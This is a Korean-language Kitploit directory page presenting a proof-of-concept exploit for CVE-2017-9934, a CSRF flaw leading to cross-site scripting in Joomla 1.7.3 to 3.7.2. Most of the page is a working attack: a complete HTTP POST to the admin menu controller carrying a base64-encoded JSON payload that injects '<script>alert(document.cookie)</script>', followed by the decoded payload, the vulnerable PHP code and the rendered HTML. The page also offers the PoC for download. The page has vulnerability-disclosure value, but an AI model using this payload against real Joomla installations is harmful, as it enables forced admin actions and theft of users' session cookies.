Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-9934 — Joomla 1.7.3 - 3.7.2 CSRF 익스플로잇 PoC | Kitploit
도구/GitHubGitHub/xyringe/cve-2017-9934
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubxyringe/cve-2017-9934

CVE-2017-9934

Joomla 1.7.3 - 3.7.2 CSRF 익스플로잇 PoC

저장소 보기
8년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-9934 (저는 이 익스플로잇의 제보자이며, 이름: Envo입니다.)

Joomla 1.7.3 - 3.7.2 CSRF 익스플로잇 PoC

이 취약점은 Joomla 1.7.3부터 3.7.2 버전이 base64 입력을 검증하지 않기 때문에 발생합니다.

#Headers:

root@kitploit:~
POST http://localhost/joomla/administrator/index.php?option=com_menus&view=item&client_id=0&layout=edit&id=0 HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 566
Cookie: 3139abcd402999f=ta0bmfak9faak44p4; joomla_user_state=logged_in; 8c7ff64bf1d0e216ccd4dd8c1e9745a3=4ebun9a72bolept9769d1tghu5; f8e2a3a5e2367dd628addf598dc92792=mc5g9gc7khdsa15jhijjaifrh1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: localhost

jform%5Bparams%5D%5Bmenu_show%5D=1&jform%5Bparams%5D%5Bmenu_text%5D=1&jform%5Bparams%5D%5Bsecure%5D=0&jform%5Btype%5D=eyJpZCI6MCwidGl0bGUiOiJjb21wb25lbnQiLCJyZXF1ZXN0Ijp7Im9wdGlvbiI6ImNvbV9mb288c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4ifX0%3D&jform%5Btemplate_style_id%5D=0&jform%5BbrowserNav%5D=0&jform%5Bid%5D=0&jform%5Bmenutype%5D=mainmenu&jform%5Bparent_id%5D=1&jform%5Bpublished%5D=1&jform%5Bhome%5D=0&jform%5Baccess%5D=1&jform%5Blanguage%5D=*&jform%5Btoggle_modules_assigned%5D=1&jform%5Btoggle_modules_published%5D=1&task=item.setType&fieldtype=type

위 요청의 task 파라미터는 /administrator/components/com_menus/controllers/item.php에 있는 컨트롤러 함수 setType()을 트리거하며, 이 함수는 CSRF 토큰을 요구하지 않습니다. 이 함수는 다른 파라미터(jform[type])에서 base64 입력을 받아 JSON 데이터로 디코딩하며, 검증 과정이 없습니다. JSON을 다음과 같이 조작하면:

#Base64:

root@kitploit:~
eyJpZCI6MCwidGl0bGUiOiJjb21wb25lbnQiLCJyZXF1ZXN0Ijp7Im9wdGlvbiI6ImNvbV9mb288c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4ifX0=

#JSON:

root@kitploit:~
{"id":0,"title":"component","request":{"option":"com_foo<script>alert(document.cookie)</script>"}}

/libraries/cms/component/helper.php 파일의 load() 함수에서 오류를 트리거할 수 있습니다. $option 변수에 페이로드가 포함되어 있으며, 검증 없이 화면에 출력되어 XSS가 발생합니다:

root@kitploit:~
Source:

if (JFactory::$language)
{
    $msg = JText::sprintf('JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING', $option, JText::_('JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND'));
}
else
{
    $msg = sprintf('Error loading component: %1$s, %2$s', $option, 'Component not found.');
}

Rendered:

<h4 class="alert-heading">Warning</h4>
   <div class="alert-message">Error loading component: com_foo<script>alert(document.cookie)</script>, Component not found.</div>

HTML 페이지 PoC는 이 저장소에 포함되어 있습니다.

도구 다운로드